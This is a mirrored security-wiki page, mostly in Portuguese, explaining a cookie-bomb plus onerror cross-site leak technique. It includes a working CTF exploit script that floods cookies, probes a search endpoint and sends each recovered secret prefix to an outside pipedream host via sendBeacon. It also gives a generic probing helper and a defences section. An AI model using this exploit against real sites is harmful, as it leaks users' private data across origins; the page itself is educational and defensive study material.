mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
127 lines
7.3 KiB
Markdown
127 lines
7.3 KiB
Markdown
# Cookie Bomb + Onerror XS Leak
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
This technique combines:
|
||
- Cookie bombing: preencher o navegador da vítima com muitos/grandes cookies para a origem alvo de modo que requisições subsequentes atinjam limites do servidor/requisição (tamanho do header da requisição, tamanho da URL em redirects, etc.).
|
||
- Error-event oracle: sondar um endpoint cross-origin com um <script> (ou outro subresource) e distinguir estados com onload vs onerror.
|
||
|
||
High level idea
|
||
- Encontre um endpoint alvo cujo comportamento difira entre dois estados que você quer testar (por exemplo, busca “hit” vs “miss”).
|
||
- Assegure que o caminho “hit” irá disparar uma cadeia de redirects pesada ou uma URL longa enquanto o caminho “miss” permanece curto. Infle os cabeçalhos da requisição usando muitos cookies de forma que apenas o caminho “hit” faça o servidor falhar com um erro HTTP (ex.: 431/414/400). O erro aciona o onerror e se torna um oráculo para XS-Search.
|
||
|
||
When does this work
|
||
- Você consegue fazer o navegador da vítima enviar cookies ao alvo (ex.: cookies com SameSite=None ou você pode defini-los em um contexto first-party via um popup window.open).
|
||
- Existe uma funcionalidade no app que você pode abusar para definir cookies arbitrários (ex.: endpoints “save preference” que transformam nomes/valores controlados em Set-Cookie) ou para criar redirects pós-auth que incorporam dados controlados pelo atacante na URL.
|
||
- O servidor reage de forma diferente nos dois estados e, com cabeçalhos/URL inflados, um dos estados ultrapassa um limite e retorna uma resposta de erro que dispara onerror.
|
||
|
||
Note on server errors used as the oracle
|
||
- 431 Request Header Fields Too Large é comumente retornado quando cookies inflacionam os cabeçalhos da requisição; 414 URI Too Long ou um 400 específico do servidor podem ser retornados para alvos de requisição longos. Qualquer um desses resulta em um carregamento de subresource falho e dispara onerror. [MDN documenta 431 e causas típicas como cookies excessivos.]()
|
||
|
||
Practical example (angstromCTF 2022)
|
||
O script a seguir (de um writeup público) abusa de uma funcionalidade que permite ao atacante inserir cookies arbitrários, depois carrega um endpoint de busca cross-origin como um script. Quando a query está correta, o servidor realiza um redirect que, junto com o inchaço de cookies, excede os limites do servidor e retorna um status de erro, então script.onerror é disparado; caso contrário nada acontece.
|
||
```html
|
||
<>'";
|
||
<form action="https://sustenance.web.actf.co/s" method="POST">
|
||
<input id="f" /><input name="search" value="a" />
|
||
</form>
|
||
<script>
|
||
const $ = document.querySelector.bind(document)
|
||
const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
|
||
let i = 0
|
||
const stuff = async (len = 3500) => {
|
||
let name = Math.random()
|
||
$("form").target = name
|
||
let w = window.open("", name)
|
||
$("#f").value = "_".repeat(len)
|
||
$("#f").name = i++
|
||
$("form").submit()
|
||
await sleep(100)
|
||
}
|
||
const isError = async (url) => {
|
||
return new Promise((r) => {
|
||
let script = document.createElement("script")
|
||
script.src = url
|
||
script.onload = () => r(false)
|
||
script.onerror = () => r(true)
|
||
document.head.appendChild(script)
|
||
})
|
||
}
|
||
const search = (query) => {
|
||
return isError(
|
||
"https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query)
|
||
)
|
||
}
|
||
const alphabet =
|
||
"etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ"
|
||
const url = "//en4u1nbmyeahu.x.pipedream.net/"
|
||
let known = "actf{"
|
||
window.onload = async () => {
|
||
navigator.sendBeacon(url + "?load")
|
||
await Promise.all([stuff(), stuff(), stuff(), stuff()])
|
||
await stuff(1600)
|
||
navigator.sendBeacon(url + "?go")
|
||
while (true) {
|
||
for (let c of alphabet) {
|
||
let query = known + c
|
||
if (await search(query)) {
|
||
navigator.sendBeacon(url, query)
|
||
known += c
|
||
break
|
||
}
|
||
}
|
||
}
|
||
}
|
||
</script>
|
||
```
|
||
Por que o popup (window.open)?
|
||
- Navegadores modernos bloqueiam cada vez mais third-party cookies. Abrir um top-level window para o target faz com que os cookies sejam first-party, então respostas Set-Cookie do target vão persistir, permitindo a etapa cookie-bomb mesmo com restrições a third-party cookies.
|
||
|
||
Generic probing helper
|
||
Se você já tem uma maneira de definir muitos cookies no target origin (first-party), pode reutilizar este minimal oracle contra qualquer endpoint cujo success/failure leve a diferentes network outcomes (status/MIME/redirect):
|
||
```js
|
||
function probeError(url) {
|
||
return new Promise((resolve) => {
|
||
const s = document.createElement('script');
|
||
s.src = url;
|
||
s.onload = () => resolve(false); // loaded successfully
|
||
s.onerror = () => resolve(true); // failed (e.g., 4xx/5xx, wrong MIME, blocked)
|
||
document.head.appendChild(s);
|
||
});
|
||
}
|
||
```
|
||
Dicas para construir o oracle
|
||
- Force o estado “positivo” a ser mais pesado: encadeie um redirect extra somente quando o predicado for verdadeiro, ou faça com que a URL de redirect reflita entrada de usuário sem limites para que ela cresça com o prefixo adivinhado.
|
||
- Inflar cabeçalhos: repita cookie bombing até que um erro consistente seja observado no caminho “pesado”. Servidores comumente limitam o tamanho dos headers e vão falhar mais cedo quando muitos cookies estão presentes.
|
||
- Estabilizar: dispare múltiplas operações paralelas de set de cookies e sonde repetidamente para fazer a média do ruído de timing e cache.
|
||
|
||
Related XS-Search tricks
|
||
- URL length based oracles (no cookies needed) can be combined or used instead when you can force a very long request target:
|
||
|
||
{{#ref}}
|
||
url-max-length-client-side.md
|
||
{{#endref}}
|
||
|
||
Defesas e endurecimento
|
||
- Faça respostas de sucesso/falha indistinguíveis:
|
||
- Evite redirects condicionais ou grandes diferenças no tamanho da resposta entre estados. Retorne o mesmo status, mesmo content type e comprimento de corpo similar independentemente do estado.
|
||
- Bloqueie probes de subresource cross-site:
|
||
- SameSite cookies: set sensitive cookies to SameSite=Lax or Strict so subresource requests like <script src> don’t carry them; prefer Strict for auth tokens when possible.
|
||
- Fetch Metadata: enforce a Resource Isolation Policy to reject cross-site subresource loads (e.g., if Sec-Fetch-Site != same-origin/same-site).
|
||
- Cross-Origin-Resource-Policy (CORP): set CORP: same-origin (or at least same-site) for endpoints not meant to be embedded as cross-origin subresources.
|
||
- X-Content-Type-Options: nosniff and correct Content-Type on JSON/HTML endpoints to avoid load-as-script quirks.
|
||
- Reduza amplificação de header/URL:
|
||
- Limite o número/tamanho de cookies definidos; sanitize funcionalidades que transformam campos arbitrários de formulário em Set-Cookie.
|
||
- Normalize ou trunque dados refletidos em redirects; evite embutir strings longas controladas pelo atacante em Location URLs.
|
||
- Mantenha limites do servidor consistentes e falhe de forma uniforme (evite páginas de erro especiais apenas para um ramo).
|
||
|
||
Notas
|
||
- Esta classe de ataques é discutida amplamente como “Error Events” XS-Leaks. O passo de cookie-bomb é apenas uma forma conveniente de empurrar apenas um ramo além dos limites do servidor, produzindo um boolean oracle confiável.
|
||
|
||
|
||
|
||
## Referências
|
||
- XS-Leaks: Error Events (onerror/onload as an oracle): https://xsleaks.dev/docs/attacks/error-events/
|
||
- MDN: 431 Request Header Fields Too Large (common with many cookies): https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431
|
||
{{#include ../../banners/hacktricks-training.md}}
|